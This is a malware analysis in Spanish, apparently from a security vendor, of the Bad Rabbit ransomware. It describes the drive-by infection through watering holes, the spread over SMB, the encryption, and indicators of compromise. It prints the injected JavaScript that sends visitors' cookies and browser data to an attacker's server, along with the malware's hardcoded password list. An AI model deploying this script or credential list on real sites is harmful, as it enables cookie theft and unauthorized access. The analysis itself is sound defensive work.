Un nuevo brote de ransomware atacó ayer a grandes infraestructuras en Ucrania, incluyendo al Metro de Kiev. Tal como prometimos ayer, hicimos un análisis más detallado y a continuación presentamos los hallazgos sobre esta nueva variante Diskcoder.D.
Drive-by download vía watering hole en sitios populares
Uno de los métodos de distribución de Bad Rabbit es un drive-by download. Algunos sitios populares son comprometidos usando la técnica watering hole y se les inyecta JavaScript en su HTML o en uno de sus archivos .js.
Aquí hay una versión pulida de la inyección:
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
xhr.timeout = 10000;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
var da = document.createElement('div');
da.id = 'ans';
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + '=' + d[k]);
}
}
var dc = pd.join('&');
xhr.send(dc);
}
}
e({
'agent': navigator.userAgent,
'referer': document.referrer,
'cookie': document.cookie,
'domain': window.location.hostname,
'c_state': !!document.cookie
});
Este script reporta los siguientes componentes a 185.149.120[.]3, que no parece responder en este momento.
- User-Agent del navegador
- Referrer
- Cookie del sitio visitado
- Nombre de dominio del sitio visitado
La lógica de programación del lado del servidor puede determinar si el visitante es un blanco de interés y luego añadir contenido en la página. Hemos visto, por ejemplo, cómo aparece una ventana emergente pidiendo descargar una actualización de Flash Player en el medio de la página.
Al hacer clic en el botón "Instalar", se inicia la descarga de un archivo ejecutable desde 1dnscontrol[.]com. Este ejecutable, install_flash_player.exe, es el dropper de Win32/Filecoder.D.
Luego, la computadora finalmente se bloquea y aparece el pedido de rescate típico del ransomware:
Esta es la página para hacer el pago:
Propagación vía SMB
Win32/Diskcoder.D tiene la habilidad de propagarse a través del protocolo Server Message Block (SMB). A diferencia de algunos reportes que han estado circulando, no explota la vulnerabilidad EternalBlue como era el caso en el brote de Win32/Diskcoder.C (Not-Petya).
Primero, escanea la red interna en busca de estos componentes abiertos de SMB:
- admin
- atsvc
- browser
- eventlog
- lsarpc
- netlogon
- ntsvcs
- spoolss
- samr
- srvsvc
- scerpc
- svcctl
- wkssvc
Se ejecuta Mimikatz en el equipo comprometido para recolectar credenciales. También hay una lista hardcodeada de nombres de usuario y contraseñas.
Nombre de usuario | Contraseñas |
---|---|
Administrator | Administrator |
Admin | administrator |
Guest | Guest |
User | guest |
User1 | User |
user-1 | user |
Test | Admin |
root | adminTest |
buh | test |
boss | root |
ftp | 123 |
rdp | 1234 |
rdpuser | 12345 |
rdpadmin | 123456 |
manager | 1234567 |
support | 12345678 |
work | 123456789 |
other user | 1234567890 |
operator | Administrator123 |
backup | administrator123 |
asus | Guest123 |
ftpuser | guest123 |
ftpadmin | User123 |
nas | user123 |
nasuser | Admin123 |
nasadmin | admin123Test123 |
superuser | test123 |
netguest | password |
alex | 111111 |
55555 | |
77777 | |
777 | |
qwe | |
qwe123 | |
qwe321 | |
qwer | |
qwert | |
qwerty | |
qwerty123 | |
zxc | |
zxc123 | |
zxc321 | |
zxcv | |
uiop | |
123321 | |
321 | |
love | |
secret | |
sex | |
god |
Cuando se encuentran las credenciales funcionales, se descarga el archivo infpub.dat en el directorio de Windows y se ejecuta a través de SCManager y rundll.exe.
Cifrado
Win32/Diskcoder.D es una versión modificada de Win32/Diskcoder.C, para la que se corrigieron algunos bugs en el cifrado de archivos. Ahora usa DiskCryptor, un software open source legítimo usado para hacer cifrado de unidades completas.
Las claves se generan usando CryptGenRandom y luego se protegen con una clave pública RSA 2048 hardcodeada. Los archivos cifrados tienen la extensión .encrypted. Al igual que antes, se usa AES-128-CBC.
Distribución
La telemetría de ESET muestra que Ucrania solo tiene el 12,2% del total de casos en que vimos el dropper. Estas son las estadísticas:
- Rusia: 65%
- Ucrania: 12.2%
- Bulgaria: 10.2%
- Turquía: 6.4%
- Japón: 3.8%
- Otros: 2.4%
Esto coincide bastante con la distribución de sitios comprometidos que incluyen el JavaScript malicioso. Entonces, ¿por qué Ucrania parece ser más atacada que el resto?
Es interesante señalar que todos los blancos fueron atacados al mismo tiempo. Es posible que el grupo ya tuviese un pie adentro de sus redes y ejecutase el ataque watering hole en simultáneo como señuelo. Nada indica que hayan caído por la falsa actualización de Flash.
ESET continúa investigando y publicaremos nuestros hallazgos a medida que avancemos.
Muestras
SHA-1 | Nombre de archivo | Detección de ESET | Descripción |
---|---|---|---|
79116fe99f2b421c52ef64097f0f39b815b20907 |
infpub.dat | Win32/Diskcoder.D | Diskcoder |
afeee8b4acff87bc469a6f0364a81ae5d60a2add |
dispci.exe | Win32/Diskcoder.D | Lockscreen |
413eba3973a15c1a6429d9f170f3e8287f98c21c |
Win32/RiskWare.Mimikatz.X | Mimikatz (32-bits) | |
16605a4a29a101208457c47ebfde788487be788d |
Win64/Riskware.Mimikatz.X | Mimikatz (64-bits) | |
de5c8d858e6e41da715dca1c019df0bfb92d32c0 |
install_flash_player.exe | Win32/Diskcoder.D | Dropper |
4f61e154230a64902ae035434690bf2b96b4e018 |
page-main.js | JS/Agent.NWC | JavaScript on compromised sites |
Servidores de C&C
Sitio de pago: http://caforssztxqzf2nm[.]onion
URL del inject: http://185.149.120[.]3/scholargoogle/
URL de distribución: hxxp://1dnscontrol[.]com/flash_install.php
Lista de sitios comprometidos:
- hxxp://argumentiru[.]com
- hxxp://www.fontanka[.]ru
- hxxp://grupovo[.]bg
- hxxp://www.sinematurk[.]com
- hxxp://www.aica.co[.]jp
- hxxp://spbvoditel[.]ru
- hxxp://argumenti[.]ru
- hxxp://www.mediaport[.]ua
- hxxp://blog.fontanka[.]ru
- hxxp://an-crimea[.]ru
- hxxp://www.t.ks[.]ua
- hxxp://most-dnepr[.]info
- hxxp://osvitaportal.com[.]ua
- hxxp://www.otbrana[.]com
- hxxp://calendar.fontanka[.]ru
- hxxp://www.grupovo[.]bg
- hxxp://www.pensionhotel[.]cz
- hxxp://www.online812[.]ru
- hxxp://www.imer[.]ro
- hxxp://novayagazeta.spb[.]ru
- hxxp://i24.com[.]ua
- hxxp://bg.pensionhotel[.]com
- hxxp://ankerch-crimea[.]ru